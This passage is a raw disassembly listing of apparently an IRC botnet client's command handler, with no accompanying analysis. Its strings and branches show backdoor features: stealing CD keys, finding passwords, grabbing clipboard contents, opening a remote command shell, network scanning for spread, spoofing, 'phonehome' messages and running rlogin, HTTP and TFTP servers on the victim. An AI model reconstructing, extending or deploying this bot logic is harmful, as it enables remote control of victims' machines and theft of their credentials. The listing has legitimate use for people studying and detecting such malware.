		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1FC
		push	offset dword_42C1F0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1D8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C1A4
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C170
		push	eax
		mov	dword_4CE758, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0C8
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C054
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42C018
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_431622
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431622
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFD8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431440, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431440

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431440[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF1C
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEE4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BEC4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42BE54
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BE18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_42BDDC

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D158

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDA0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42BD64
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAEC0
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD40
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BD14
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCE8

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BCC4
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC98
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC80
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC64
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
